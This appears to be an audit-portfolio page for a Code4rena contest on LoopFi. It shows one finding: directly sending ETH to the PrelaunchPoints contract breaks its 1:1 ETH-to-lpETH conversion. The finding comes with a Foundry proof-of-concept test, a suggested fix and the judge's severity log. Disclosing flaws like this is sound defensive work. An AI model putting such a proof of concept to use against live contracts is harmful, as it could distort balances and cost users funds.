LoopFi - petarP1998's results

A dedicated lending market for Ethereum carry trades. Users can supply a long tail of Liquid Restaking Tokens (LRT) and their derivatives as collateral to borrow ETH for increased yield exposure.

General Information

Platform: Code4rena

Start Date: 01/05/2024

Pot Size: $12,100 USDC

Total HM: 1

Participants: 47

Period: 7 days

Judge: Koolex

Id: 371

League: ETH

LoopFi

Findings Distribution

Researcher Performance

Rank: 36/47

Findings: 1

Award: $71.11

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

71.1111 USDC - $71.11

Labels

bug
3 (High Risk)
partial-25
sufficient quality report
upgraded by judge
:robot:_42_group
edited-by-warden
duplicate-33

External Links

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L315

Vulnerability details

Impact

Within the context of invariants, it's emphasized that when a user deposits 1 ETH, it should automatically convert to 1 lpETH. However, if an individual chooses to directly send ETH to the contract, this disrupts the conversion mechanism, diverging from the user's intended perspective.

Proof of Concept

By incorporating the provided test into the existing test file, it becomes evident that the conversion process is compromised.

function testBreakOneToOneConversion(uint256 lockAmount) public {
        lockAmount = bound(lockAmount, 1, 1e36);
        vm.deal(address(this), lockAmount);
        prelaunchPoints.lockETH{value: lockAmount}(referral);

        // Directly deposit 1 eth
        address userDepositETH = makeAddr("user");
        vm.deal(address(userDepositETH), 1e18);
        vm.prank(userDepositETH);
        (bool sent, bytes memory data) = address(prelaunchPoints).call{
            value: 1e18
        }("");
        vm.stopPrank();

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(
            prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1
        );
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);
        prelaunchPoints.claim(
            ETH,
            100,
            PrelaunchPoints.Exchange.UniswapV3,
            emptydata
        );

        uint256 balanceLpETH = (prelaunchPoints.totalLpETH() * lockAmount) /
            prelaunchPoints.totalSupply();

        assertEq(prelaunchPoints.balances(address(this), ETH), 0);
        assertEq(lpETH.balanceOf(address(this)), balanceLpETH);
        assertEq(lpETH.balanceOf(address(this)), lockAmount);
    }

Tools Used

Manual review

To resolve this issue, removing the receive function can be an effective solution. The receive function can be found in the contract code here.

Assessed type

Other

#0 - c4-judge

2024-05-15T14:14:40Z

koolexcrypto marked the issue as duplicate of #18

#1 - c4-judge

2024-06-03T09:03:32Z

koolexcrypto changed the severity to 3 (High Risk)

#2 - c4-judge

2024-06-05T07:29:37Z

koolexcrypto changed the severity to 2 (Med Risk)

#3 - c4-judge

2024-06-05T09:29:59Z

koolexcrypto marked the issue as partial-75

#4 - c4-judge

2024-06-05T09:41:00Z

koolexcrypto changed the severity to 3 (High Risk)

#5 - c4-judge

2024-06-05T09:41:20Z

koolexcrypto marked the issue as duplicate of #33

#6 - c4-judge

2024-06-11T07:26:20Z

koolexcrypto marked the issue as partial-25

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter